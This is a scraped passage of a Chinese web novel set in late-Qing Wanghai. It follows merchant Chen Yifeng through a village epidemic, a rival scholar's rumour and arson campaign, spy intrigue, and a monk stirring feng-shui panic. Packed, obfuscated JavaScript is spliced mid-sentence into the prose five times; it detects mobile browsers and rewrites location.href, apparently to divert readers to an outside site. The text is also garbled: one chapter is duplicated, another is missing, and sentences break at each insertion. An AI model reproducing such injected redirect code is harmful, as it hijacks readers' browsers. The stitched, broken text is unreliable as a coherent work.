“撤!”随着一声低喝,那些黑影如同幽灵般消失在风雪中。 等村民们从被窝里爬出来时,眼前的景象让所有人都呆住了。 “我的牛啊!”一个老汉扑在血泊中的牛身上,放声大哭。 “缺德啊!这是要我们的命啊!”有人跪在地上,不停地捶打着积雪。 “报官!八成是清早来的那帮外地佬搞的鬼!”年轻人们抄起农具就要往城里冲,眼中布满血丝。 “都给我住手!”村长的怒喝声响起,“城里宵禁,你们这是要**?” “这些牲口就是我们的命啊!”有人哭喊,声音嘶哑,“没了牲口,明年怎么种地?” 眼下这些牲口只能宰了吃肉。寒风中,血腥味弥漫开来。 “日子没法过了!”一个妇人崩溃地往外跑,“我要回娘家!” 没跑两步就摔倒在雪地里,哭声引得众人纷纷落泪。寒夜里,哭声此起彼伏,仿佛无休无止。 “老人孩子女人都回家!”村长沉声道,脸上的皱纹在月光下格外深重,“壮丁集结守卫家园!明天我去承禄府告状,难道这世上真没有说理的地方了!” 寒风凛冽,鹅毛大雪纷飞。望海的天空灰蒙蒙的,仿佛被一层厚重的帷幕笼罩。 望海承禄府外,一个满头白发的老者正搓着冻得通红的双手,目光不时瞥向门口的两名衙役。他身上的粗布棉袄已经被风雪打湿,显得格外单薄。 “几位差爷......”老者犹豫了一下,声音有些发颤,“小人是大孙庄的村长,想求见老爷一面......” 守门的差爷眼睛都懒得动一下,自顾自地聊着天。其中一个正用手搓着腰间的银元,脸上洋溢着得意的笑容。 “老郑,今儿个中午,咱们去望江楼吃火锅如何?一人出一个大洋,那滋味,啧啧......” “你小子又想败家?”另一个衙役笑骂道,“这商行的花红刚到手,就想着造啊?” “嘿,现在我在家可是说一不二。”衙役挺直了腰板,“自打收入翻了番,我那婆娘再不敢对我横眉竖眼了。以前她总嫌弃我是个衙役,现在呢?天天给我捶腿,端茶倒水。” 两个衙役相视一笑,眼中满是得意。这也难怪他们春风得意,自从明月商行入驻望海,衙门里上上下下都沾了光。不管是过节分肉还是冬日送炭,陈逸风从不吝啬。 村长等得实在着急,冻得直跺脚。他看了看天色,又想到村里的情况,只好从怀里掏出一串铜钱,恭恭敬敬地递了过去。 “二位爷,买点酒水......” 收钱的衙役这才正眼瞧他,接过铜钱掂了掂分量:“说吧,什么事?” 村长深吸一口气,将村里的遭遇娓娓道来:“大人,我们村里出事了。自从前几天下雪,很多人都病倒了。明月商行送来的柴火,村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485420|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民们都不敢用......” “为什么不敢用?” “岳秀才说......”村长欲言又止,“说那些柴火是不祥之物,会带来灾祸。现在村里人都冻着,可谁也不敢碰那些柴火。” 衙役皱了皱眉:“大人今日去海边赏雪了,这样吧,等他回来我自会如实禀报” 折腾了大半天,村长才拖着疲惫的身子往回赶。天色已经暗了下来,雪却下得更大了。 可回到村子,更大的打击等着他。 “不好了,村长!”一个年轻人跌跌撞撞地跑来,“村里已经有二十多个人发烧了!老张家的孩子都烧得说胡话了!” “什么?”村长一个踉跄,差点摔倒。他扶着墙,只觉得天旋地转。 在这个没有抗生素的年代,普通感冒都可能要人命。更何况现在村里一下子倒了这么多人。 “快,把陈老板送来的柴火搬回家,先让这屋子暖和起来!”村长当机立断下令,“总不能眼睁睁看着人死!” 可就在这时,岳秀才带着几个家丁冲了进来。他穿着厚实的狐皮大衣,脸色阴沉得可怕。 “你们这些贱民,居然敢用仇人的东西!”岳秀才指着村长的鼻子骂道,“难道忘了祖宗的教诲吗?宁死不受敌人一粒米!” “岳秀才,如今村子里躺着这么多患者,你这是把我们往墙角逼啊?”有人忍不住顶了一句,“你家的柴火呢?不是说要接济我们吗?” “放肆!”岳衡气得脸色铁青,胡子都在颤抖,“我岳家的柴火岂是你们这些贱民能用的?好,你们等着,明年别想让孩子上学堂!” 说完,他气冲冲地离开了。 夜幕降临,病人越来越多。三个村子已经有上百人发烧,人心惶惶。有人偷偷去用了明月商行的柴火,却被岳家的人抓住,一顿痛打。 深夜,岳衡的管家带着几个家丁,偷偷摸到了村外的柴堆旁。月光下,几堆整齐的柴火静静地躺在那里,上面已经积了厚厚的一层雪。 第一百零九章 陈逸风带人救治病患 “对不住了......”管家叹了口气,示意手下点火,“少爷说得对,这些洋人就是来祸害咱们的。” 就在这时,十几道白影突然从雪堆里窜出,将他们按倒在地。管家还没反应过来,就被人用绳子捆了个结实。 “逮到放火的家伙了!” 村民们闻声赶来,借着月光看清是岳家的人,顿时怒不可遏。有人抄起木棍就要打,却被白影拦住了。 “我们是明月商行的护卫!”白影自报家门,“陈老板早就料到会有人搞破坏,特意派我们来保护村子。这些人,得送官府处置!” 当晚,沈明泰就提审了这些人。 “陈先生,他们招了。”沈明泰连夜赶到陈逸风家中,“岳衡就是散布谣言的源头。他怕明月商行在望海站稳脚跟,影响他家的生意。所以故意散布谣言,说明月商行的东西不祥。” 书房中的陈逸风站在窗前,看着飘落的雪花,眼神深邃。这些自诩清高的读书人,打着道德的旗号,实则为了一己私利,不惜让百姓受苦。 寒风凛冽,雪花纷飞。北方的冬天总是来得格外早些,天地间一片苍茫。 一支车队正在乡间小道上艰难前行,马蹄声踏碎了厚厚的积雪,留下一串深深的印记。寒风呼啸,吹得车帘猎猎作响,马匹不时打个响鼻,喷出的白气在空中凝结成霜。 陈逸风站在最前面的马车上,冻得鼻尖发红,手里紧握着一个铁皮喇叭。他的目光透过纷飞的雪花,望向前方若隐若现的村庄轮廓。这已经是第三次来大孙庄了,前两次都被村民拦在了村口。 “这次必须要成功。”他低声自语,呼出的热气在寒风中迅速消散。 车队缓缓驶近村口,零星的人影开始在村头**。陈逸风深吸一口气,举起手中的铁皮喇叭。 “大孙庄的乡亲们!”他的声音在寒风中显得格外洪亮,“我陈逸风带着药品和粮食来了!这次总不能再把我拦在村外了吧?” 村口的人群渐渐多了起来。他们裹着厚重的棉衣,神情复杂地望着这支车队。尤其是看到最前面那位金发碧眼的洋人时,眼中闪过惊惧与抗拒。 “是陈先生来了!” “可是...可是那个洋人...” 议论声此起彼伏,陈逸风注意到不少人下意识地往后退了几步。他连忙跳下马车,快步走向人群。 “大伙儿别怕,”他的声音温和而坚定,“这位是墨德医生,专程从琉球赶来给大家看病的。他医术高明,一定能帮助大家战胜瘟疫。” 一个满脸皱纹的老汉颤颤巍巍地走上前来:“陈先生,您...您真的是来救我们的?不是来收购土地的?” 这句话像是戳中了所有人心中最敏感的地方。村民们的目光瞬间变得警惕起来。 陈逸风环视四周,看到的是一张张饱经风霜的面孔。这些天来的遭遇实在让他们心力交瘁——先是柴草被烧,接着牲口死亡,现在又是瘟疫肆虐。 “我明白大家的顾虑。”他的声音沉稳有力,“我在这里向天发誓,在疫情不退之前,绝不提一句买地的事!现在最重要的是救人!” 他转身指向身后的车队:“你们看,这些都是从城里运来的药材和粮食。草药包、金银花、板蓝根,应有尽有。还有大米、面粉、食用油,保证让大家吃饱穿暖。至于那些死去的牲口,我按照活畜的价格收购!” 这番话像是一剂强心针,村民们的眼神开始变得柔和。有人小声嘀咕:“这陈老板,倒是个讲信用的。” “快,大家帮忙卸货!”陈逸风一声令下,车队上的物资开始往下搬运。 他一边分发白色的纱布口罩,一边耐心解释:“这是从洋人那里学来的法子。只要戴着它,就能预防传染。大家一定要记得戴好。” 村民们虽然将信将疑,但还是听话地戴上了。毕竟在这种危急时刻,也只能相信眼前这个年轻人了。 就在物资分发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493248|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得如火如荼之际,一阵急促的马蹄声从远处传来。岳衡带着几个下人,骑马怒气冲冲地赶到了现场。 “住手!你们这些愚民!”岳衡的声音尖利刺耳,“这个人就是灾星!这场灾难全怪他惹出来的!你们还不快把他赶出去?” 话音未落,“啪”的一声,一个雪球精准地砸在了他脸上。 “打死这个坏蛋!”几个躲在墙角的孩子叫嚷着,又是一轮雪球齐发。 岳衡气得脸色发青,抹了把脸上的雪水:“你们...你们这是要**吗?信不信我让你们全家吃官司?” “秀才老爷,”陈逸风悠悠地开口,“您这官威可真不小啊。不过,您确定要在这么多人面前撒野吗?” 就在这剑拔**张之际,一阵锣声从村口传来。只见一队捕快疾步而至,领头的正是沈扬捕头。紧随其后的,还有一顶棉轿,轿帘掀开,露出望海同知沈明泰威严的面容。 “岳衡!”沈明泰厉声喝道,“你的管家已经招供了。昨晚烧毁柴草的事,就是你指使的!你为了逼迫村民卖地给你,居然做出这等丧尽天良的事!” 岳衡顿时面如土色,双腿一软,扑通一声跪在了雪地里。 “大人...大人饶命啊!小人知错了!” 沈明泰冷冷地看着他:“念在你是秀才的份上,暂且不革你的功名。但是在疫情结束之前,你必须在大孙庄帮忙,为自己的所作所为赎罪!” “多谢大人开恩!多谢大人开恩!”岳衡连连磕头,额头在雪地里砸出一个个坑。 看着这一幕,陈逸风心中却没有半点快意。 “墨德医生,”他转身对那位金发碧眼的洋人说道,“我们开始救治病人吧。” 墨德点点头,拎起他那个沉甸甸的医药箱,大步走向村子深处。 村民们自发地分成几队,有的去帮忙搬运物资,有的去通知重病的乡亲,还有的去打扫出一间干净的屋子作为临时医务室。 第一百一十章 管家的供词 天空中的雪花依然在飘落,但大孙庄的村民们心中,已经燃起了希望的火苗。陈逸风望着忙碌的人群,不禁想起那句老话:人心齐,泰山移。只要大家团结一心,就没有过不去的坎。 接下来的日子里,陈逸风和墨德医生开始了紧张的救治工作。每天天不亮就起床,挨家挨户地查看病人情况,给重症患者打针吃药,教导轻症患者如何预防传染。 岳衡也被安排去打扫卫生,清理垃圾。这位曾经趾高气扬的秀才,如今只能在村民们的冷眼中默默干活。 随着时间推移,大孙庄的疫情终于开始好转。病人一个接一个地康复,村子里重新响起了欢声笑语。 望海城在陈逸风的经营下,已然成了一座铁桶般的商业堡垒。 城外的仓库区和商人庄园鳞次栉比,处处都能看到他的影子。那些挂着各色招牌的商号,表面上是戚掌柜、郑东氏的产业,实则早已被他暗中掌控。整个望海商圈,在他的运筹帷幄下,已然形成了盘根错节的利益网络。 寒风凛冽的深夜,城外一处货仓内堆满了各色布匹。从本地的棉布、丝绸,到海外进口的天鹅绒、呢子,琳琅满目。这本是望海一位布商的仓库,看起来再普通不过。 但就在这间普通仓库最深处,木板墙后的暗门被悄然推开,隐约传出一阵哭声。 “大爷饶命!我招,我全都招!”岳衡的管家跪在地上,面对着几个蒙面黑衣人瑟瑟发抖。他浑身发抖,衣衫早已被冷汗浸透。 他也不知自己是如何来到这里的。只记得在衙门大牢里喝了碗水,便昏昏沉沉睡去。再醒来时,已身处这伸手不见五指的暗室。 发现自己被绑在椅子上,管家吓得牙齿打颤:“有、有人吗?”颤抖的声音在黑暗中回荡,四周传来若有若无的呼吸声。 一根火柴划亮,照出几张被黑纱遮住的面孔。管家双腿一软,当场就被吓尿了。 “大爷们,我什么都说!我这辈子没做过坏事啊,烧香拜佛,尊老爱幼,修桥补路......”他语无伦次地求饶,眼泪鼻涕一起流。 几个黑衣人交换了一个眼神,没想到这管家如此好对付。 “我们查过你,人品还不错。”为首的黑衣人沉声道,“只要老实交代,不会为难你。说说岳衡为何要攻击工业特区?幕后究竟是哪位大神?他们藏在哪里?” 管家哪受过这等阵仗,三言两语就全招了。 一个叫王四莲的人浮出水面。此人正是梁儒带来的那位管事,表面是永昌号的管事,实则身份可疑。 “那王四莲,一个月前突然来找少爷,说是京师来的使者。”管家抹着眼泪道,“两人密谈一整天后,少爷就像变了个人。以前每天还看会儿书,那天之后就再不碰书本了。还说什么考举人必中......” “从那时起,他让我们到处散布流言,说什么工业特区要抢用民田,还说洋人要在城里建教堂。现在街上传的那些谣言,大多是少爷编的......” 管家说着说着又哭了起来:“几位爷饶命啊,小的一辈子本分,一切都是他们把我往绝路上逼......” 审讯已无必要。将管家的供词与其他线报对照,可以确定王四莲就是望海城内反陈势力的总负责人。 能内定举人,说明此人与雅流关系匪浅。 孙忠义摘下面罩,眉头紧锁。此人能同时得到皇族和雅流支持?还是这两派已达成某种默契? “从现在起,加倍监视王四莲。”孙忠义沉声下令,“另外,密切关注慕四等人,若他们也听命于王四莲,事态就严重了。” 就在孙忠义部署监视任务时,王四莲正在永昌号内宅与梁儒密谈。 房间里烧着暖炉,茶香袅袅。王四莲端起茶盏,眼神阴鸷:“老东家,京城又在催了。您那个固执的弟弟,到底能不能说服?真不知陈逸风给他灌了什么**汤......” 梁儒看着王四莲阴沉的面色,心底发寒。这位可是翁同龢府上管家推荐来的,岂是他们小商号能得罪的。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493249|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王爷,我这就去找老三。”梁儒搓着手,“您也知道他的性子,认准的事九头牛都拉不回来。不过血浓于水,我这个当大哥的总能说动他。” 王四莲冷笑一声:“老东家,我很坦白。我就是来对付陈逸风的。但又不能毁了明月商行这只下金蛋的鸡。说白了,就是要商行,不要陈逸风。而熟悉通商行业务的,只有梁镳。” “京城大人物恨陈逸风,但不讨厌商行的银子。您兄弟想要什么尽管说,若是他愿意归顺于我,带来赚钱的门路,什么条件都好商量。” “要牌坊?要诰命?或者给梁家子孙安排几个县令当当?这都是实打实的好处啊。” 梁儒眼睛发亮,一拍桌子站起身:“我这就去找那个老顽固,豁出性命跪在他脚下,看他还忍心不忍心!”说完裹上裘皮大氅就走了。 王四莲站在二楼窗前,看着街上伙计们扫雪。 正思索间,街边闪过一个人影,是慕四。那身形虽然裹得严实,但那独特的步态却逃不过他的眼睛。 【这老东西,让你查陈逸风的罪证,倒钻进茶棚去了?】王四莲暗骂,谁不知道那茶馆里养着几个半掩门子。 慕四确实在茶馆。他本看不上这种地方。但听说这里有三个绝色女子,就按捺不住了。 茶馆里烟雾缭绕,茶客们挤在一起,听一个满脸酒糟的老头说书。 “我醉汉活了五十多年,见过的事多了去了。我断定是孤魂野鬼路过,那就绝对错不了......”老头眯着眼睛,神秘兮兮地说道。 慕四来了兴趣,点了杯热茶就凑上前观望。原来这老头是城南庄子的更夫,正说着这几天最火的新闻——阴兵借道。 “那天三更刚打完,我听见大路上有脚步声。”老头压低声音,“偷看时吓死我了,一队夜军,个个秃头,身着靛青色的长衫,脚踩大皮靴,杀气冲天......” “像洋兵?确实有点像五年前从大沽口来的洋兵。但我看得清楚,都是中国人的面相......” 第一百一十一章 王四莲慕四密会 听众都听呆了。这灵异传说讲得比从前更加惊心动魄。茶客们你一言我一语,七嘴八舌地讨论起来。 到后来,故事越发离奇:“阴兵走了没多远,就见大路上阴森森地开了鬼门,白骨锁链在空中飞舞,血手从地里钻出来......” “我就知道望海要出事。你们看大孙庄,不是闹瘟疫了吗?这队夜军就是来收魂的啊......” 连半掩门的女人都被吸引出来听故事。等讲完时,慕四已喝了两壶茶,还错过了饭点。 走出茶馆,他突然一拍脑袋:“糟了,差点忘了给洋人送信!” 陈逸风今晚要宴请洋人商议工业特区的事。慕四负责请洛根和迈克,他们就住在附近的西人别墅区。 洋管家领他上了二楼休息厅,洛根和迈克正在打桌球。两个洋人穿着考究的西装,正专注地对着台球。 慕四连忙跪下行礼:“向两位大人磕头问好,我们老爷让我送请柬......” “你,先站起来,等一下,这局,快完了......”洛根说着蹩脚的中文,手里的球杆一挥,红球精准地入袋。 慕四强忍着笑,规矩地站在圆桌边等候。 桌上散落的纸张和照片吸引了慕四的目光。 这些杂乱的资料本该被整理进旁边那个大木夹子里,但洛根和迈克刚才翻看后随手丢在圆桌上,这才让他有了窥探的机会。慕四小心翼翼地挪动脚步,生怕发出任何声响。 虽然看不懂洋文,但照片和素描图却让慕四心惊肉跳。他的目光在每一张照片上停留,仿佛被某种不可抗拒的力量吸引。 燃烧的那霸港,火光冲天,浓烟滚滚。混乱溃逃的日本军队,他们的军装上沾满泥污和血迹。喷吐火焰的洋人战舰,巨大的炮口闪烁着令人胆寒的光芒。还有那些如同恶鬼般嘶吼着冲锋的华人,他们的眼中燃烧着复仇的怒火。 每一张图片都在诉说着陈逸风在望海的经历,每一帧画面都让慕四感到一阵阵寒意袭来。、特别是那张陈逸风背着巨大战旗,带领民众冲锋的照片。照片中的陈逸风神情坚毅,目光如炬,周围的民众群情激奋,举着各式武器向前冲锋。这画面看得慕四背后发凉,喉咙发紧。 “原来传言是真的...!”慕四喃喃自语。 就在这时,一张半露的照片让他瞳孔猛缩,呼吸几乎停滞。他颤抖的手指轻轻挪开上面的文件,露出了完整的画面。 照片上是一支整齐的军队,但那些穿着西式军装的士兵,却都是中国人的面孔。光头、漆皮军帽、蓝色制服、高筒军靴,每一个细节都和醉汉描述的阴兵一模一样! 更令人胆寒的是那些闪亮的刺刀和崭新的洋枪,整齐划一地排列着,散发着令人心悸的寒光。慕四感觉自己的心脏快要跳出胸膛。 “完了完了,这是要**啊!”慕四郎额头冒出豆大的冷汗,“醉汉根本不是见了阴军,是撞见了陈逸风的私军!这个二鬼子居然敢私自练兵!” 远处传来洛根和迈克的谈笑声,慕四慌忙将照片放回原处,强忍着转身逃跑的冲动。他深知此时任何异常举动都可能要了他的命。 桌球室里,洛根正在瞄准白球,迈克则靠在球杆上闲聊。慕四站在一旁,表面平静,内心却如惊涛骇浪。每一声球杆击球的声响都让他心惊肉跳。 终于等到两个洋人打完桌球,得到明确答复后,慕四几乎是逃也似的离开了。他的脚步虚浮,好几次差点绊倒。 直到寒风吹在脸上,他才稍微冷静下来。这时,一个大胆的念头浮现在脑海中,让他的眼睛逐渐亮了起来。 “这可是天大的把柄啊...”慕四眼中闪过贪婪之色,嘴角勾起一抹阴险的笑容,“有了这个,还愁榨不出油水来?” 正当他盘算着如何利用这个秘密时,两个小伙计突然出现在他面前,不由分说将他请进了路边一家商铺。慕四心中一惊,但已经无法反抗。 店内昏暗的灯光下,王四莲正坐在角落里等他。那张阴沉的脸庞让慕四不寒而栗。 “慕四爷,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498118|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天气色不太好啊,”王四莲冷笑道,“大冷天的少去钻女人裤裆,当心冷气侵入体内。” 慕四连忙点头哈腰,额头上的冷汗又冒了出来:“大人明鉴,您这样直接见面太危险了,望海城到处都是陈逸风的眼线...” “少废话!”王四莲猛地拍案而起,“这段时间,陈逸风有什么犯王法的事没有?上头派你来不是让你勾搭妹子的!” 慕四心中一紧,暗自琢磨王四莲是否已经知道私军的事。他的目光闪烁,思索片刻后决定先试探一下。 “回王爷的话,我倒是发现了一些蛛丝马迹。那些护卫就很可疑,都是剃光头的,违背王法。我打听过,他们本是玉岭山的土匪...” 啪! 一记响亮的耳光打断了慕四的话,他的脸颊立刻肿了起来,嘴角渗出血丝。 “敢耍我?”王四莲怒道,揪住慕四的衣领,“这些破事宫里早就知道了!你是不是被陈逸风收买了?” “冤枉啊孙爷!”慕四被提起衣领,吓得脸色发白,“我才见他几天啊,再宽限我几天吧...” 王四莲一把将他摔在门口,慕四踉跄着撞在墙上:“记住你的身份!最近你的任务是策反他的人,那个孙忠义就不错,去试试他!” “是是是,我这就去...”慕四连滚带爬地往外跑。 捂着火辣辣的脸走出商铺,慕四心中暗骂:“有本事自己去啊,还不是怕了孟明蛇?陈逸风手下哪是那么好收买的...” 想到刚才发现的秘密,他又露出了贪婪的笑容,眼中闪烁着算计的光芒:“陈逸风啊陈逸风,为了保你的秘密我可是挨了一巴掌,这笔账可得好好算算,没个百八十万两银子,这事可没完...” 与此同时,大孙庄里的陈逸风正和村民们推杯换盏。 炖肉的香味、烧刀子的辛辣、白面馒头的甜香,村民们难得吃上这样的好饭。陈逸风和村长等长者同桌而坐,谈笑风生,毫无架子。他不时给长者们斟酒,态度谦恭,举止得体。 第一百一十三章 大师带众村名请陈逸风帮忙 “阿弥陀佛!”玄童陀一脸凝重,“这方地脉已遭人暗算,必有滔天祸事!” 突然,空中传来一阵凄厉的鬼叫,大白天就把所有人吓得魂飞魄散。玄童陀收了火焰,双手掐诀,突然冲到一处雪堆前。 “快挖开这里,下面有古怪!” 村民们赶紧动手,才挖半米就见殷红的血土,黑色土壤中全是红色结晶。玄童陀取出黄磷扔进坑里,念动咒语,等蓝火熄灭后赶紧让人填土。 就这样,三个村子一共挖出九个“染血”的风水眼,每次挖掘都伴随着诡异的鬼叫声。这下可把村民们吓坏了。 “九处龙脉已被我**,地府邪祟暂且无法现世。”玄童陀擦擦汗,“可有斋饭?我这头陀不忌荤腥。” 饭桌上,村里的长者小心伺候。有人问道:“大师,这风水眼怎么会变成恶地?” 玄童陀灌了口酒,眼中闪过一丝深邃:“何止是你们这里,整个望海的风水都变了。小风水靠大风水,这些年南方闹长毛,中原闹捻军,洋人还打进了京城,此乃危及国运的要事。五载之前西方人便是从此处踏上陆地,地脉早就变了。” 老人们听得直掉泪:“这可怎么办?求大师指条明路,必有重谢相报!” 玄童陀沉吟片刻,目光深邃:“办法倒是有,担心你们道行太浅。容我再想想...” 村民们你看看我,我看看你,脸上都写满了担忧。这时,一个老者颤颤巍巍地站起来:“大师,只要能保住我们的村子,什么条件我们都答应!” 玄童陀端起酒碗,慢悠悠地喝了一口,沉声道:“大地的地脉,就像人的经络。一旦变动,便会引发连锁反应。” 他用手指在桌面上画着看不懂的符号,继续说道:“你们三个庄子的地脉已经完全变了。曾经的风水宝地如今成了荒郊,死地也可能成了活地。就拿海边那片盐碱地来说,以前你们嫌弃得很,现在租给洋人建仓库,反倒成了聚宝盆。” 屋子里里鸦雀无声,所有人都屏住呼吸听他讲解。 “最近你们三个庄子多事,表面上看是人祸,实则是风水作祟。”玄童陀的声音低沉而沧桑,“这方水土留不住福运了,往后只怕是灾祸连连。” 此话一出,酒馆内顿时响起一片惊呼声。有人开始低声啜泣,有人则面如死灰。 “没有风水庇佑的地方,寸草不生,更别说出什么人才了。”玄童陀叹了口气,目光扫过在座的每一个人,“说不定连生个男丁都难。” “啪”的一声,一个妇人瘫软在地,周围的人赶紧将她扶起。酒馆内的气氛越发凝重。 “大师!”大孙庄的村长猛地站起身,“求您指条明路!这是我们凑的二百两银子,请您收下!” 他双手捧着个木托盘快步走来,里面堆满了碎银和铜钱,在昏暗的灯光下泛着冷冷的光。 玄童陀看都没看那托盘一眼,摆手笑道:“贫僧四海为家,碰都不碰这些俗气玩意。我说难办,不是想要你们的钱,而是解决这事需要大笔银两,没有几万两下不来。” “几、几万两?”村民们倒吸一口凉气,有人甚至直接瘫坐在地上。 玄童陀环视四周,正色道:“摆你们两个选择。要么卖地,找个有福气的贵人来压住这凶地。要么建庙,有佛祖保佑,自然无忧。” 他顿了顿,又补充道:“但这两条路都不好走。卖地你们舍不得,没了地怎么活?建庙更难,没个五万两根本不够,就你们这点家底,能凑出三千两就不错了。” 三个村长面面相觑,随后悄悄走到院子里商议。酒馆内的气氛越发压抑,有人开始低声啜泣,有人则愁眉不展地摇头叹气。 片刻后,大孙庄的村长回来了,他搓着手说道:“大师,其实眼下倒真有个机会,只是大家都有顾虑......” 他将工业特区征地的事情娓娓道来:“那特区给的补偿确实不少,但闹出许多恐怖传言,说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498120|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么夺人魂魄的,我们这些百姓实在害怕啊。” 玄童陀听完,眼睛一亮,突然拍案而起:“哈哈哈,你们多虑了!这事好办,关键就在那座庙上。” 他目光炯炯地扫视众人:“你们是凡人,自然怕那些邪祟。但有了佛祖庇佑,还怕什么西方妖魔?将列祖列宗的牌位移到庙中,日夜有经文相伴,不仅你们平安,祖先也能得福。” 村民们眼前一亮,纷纷点头称是。有人激动地说:“对啊!有了庙,我们就不怕了!” “既然如此,我这就去找陈逸风要这笔布施!”玄童陀豪气干云地说道,转身就要往外走。 “大师且慢!”村民们急忙拦住他,“那陈逸风势力大得很,背后有洋人撑腰,不可莽撞啊!” “哈哈哈!”玄童陀仰天大笑,酒气喷薄而出,“贫僧四大皆空,还怕他不成?今日非要他布施这五万两不可!” 他的豪迈感染了在场的所有人。村民们纷纷站起来:“大师等等我们,我们一起去!” 一行人浩浩荡荡向望海城进发。沿途的行人纷纷驻足观望,很快就在城中引起了轰动。街道两旁挤满了看热闹的人,议论声此起彼伏。 “这是要搞事情啊?” “快看,那和尚走在最前面!” 玄童陀听着周围的议论,举起酒葫芦痛饮一口,高声喊道:“朝廷要建特区,我们不敢不从。老百姓总得混口饭吃,谁也别想把咱们往绝路上逼!” 此言一出,街上的百姓顿时沸腾起来。有人开始跟着喊:“对!百姓要活路!” 玄童陀趁热打铁:“今日我就要找陈逸风要五万两建庙钱!有了佛祖庇佑,还怕什么邪祟!” 村民们也跟着高喊:“对!我们要建庙!不答应就不走了!” 眼看着人群越聚越多,承禄府的衙役们赶来阻拦,却被汹涌的人潮吓得四散而逃。街道两旁的店铺纷纷关门,但窗户后面却挤满了看热闹的人。 第一百一十三章 大师带众村名请陈逸风帮忙 “阿弥陀佛!”玄童陀一脸凝重,“这方地脉已遭人暗算,必有滔天祸事!” 突然,空中传来一阵凄厉的鬼叫,大白天就把所有人吓得魂飞魄散。玄童陀收了火焰,双手掐诀,突然冲到一处雪堆前。 “快挖开这里,下面有古怪!” 村民们赶紧动手,才挖半米就见殷红的血土,黑色土壤中全是红色结晶。玄童陀取出黄磷扔进坑里,念动咒语,等蓝火熄灭后赶紧让人填土。 就这样,三个村子一共挖出九个“染血”的风水眼,每次挖掘都伴随着诡异的鬼叫声。这下可把村民们吓坏了。 “九处龙脉已被我**,地府邪祟暂且无法现世。”玄童陀擦擦汗,“可有斋饭?我这头陀不忌荤腥。” 饭桌上,村里的长者小心伺候。有人问道:“大师,这风水眼怎么会变成恶地?” 玄童陀灌了口酒,眼中闪过一丝深邃:“何止是你们这里,整个望海的风水都变了。小风水靠大风水,这些年南方闹长毛,中原闹捻军,洋人还打进了京城,此乃危及国运的要事。五载之前西方人便是从此处踏上陆地,地脉早就变了。” 老人们听得直掉泪:“这可怎么办?求大师指条明路,必有重谢相报!” 玄童陀沉吟片刻,目光深邃:“办法倒是有,担心你们道行太浅。容我再想想...” 村民们你看看我,我看看你,脸上都写满了担忧。这时,一个老者颤颤巍巍地站起来:“大师,只要能保住我们的村子,什么条件我们都答应!” 玄童陀端起酒碗,慢悠悠地喝了一口,沉声道:“大地的地脉,就像人的经络。一旦变动,便会引发连锁反应。” 他用手指在桌面上画着看不懂的符号,继续说道:“你们三个庄子的地脉已经完全变了。曾经的风水宝地如今成了荒郊,死地也可能成了活地。就拿海边那片盐碱地来说,以前你们嫌弃得很,现在租给洋人建仓库,反倒成了聚宝盆。” 屋子里里鸦雀无声,所有人都屏住呼吸听他讲解。 “最近你们三个庄子多事,表面上看是人祸,实则是风水作祟。”玄童陀的声音低沉而沧桑,“这方水土留不住福运了,往后只怕是灾祸连连。” 此话一出,酒馆内顿时响起一片惊呼声。有人开始低声啜泣,有人则面如死灰。 “没有风水庇佑的地方,寸草不生,更别说出什么人才了。”玄童陀叹了口气,目光扫过在座的每一个人,“说不定连生个男丁都难。” 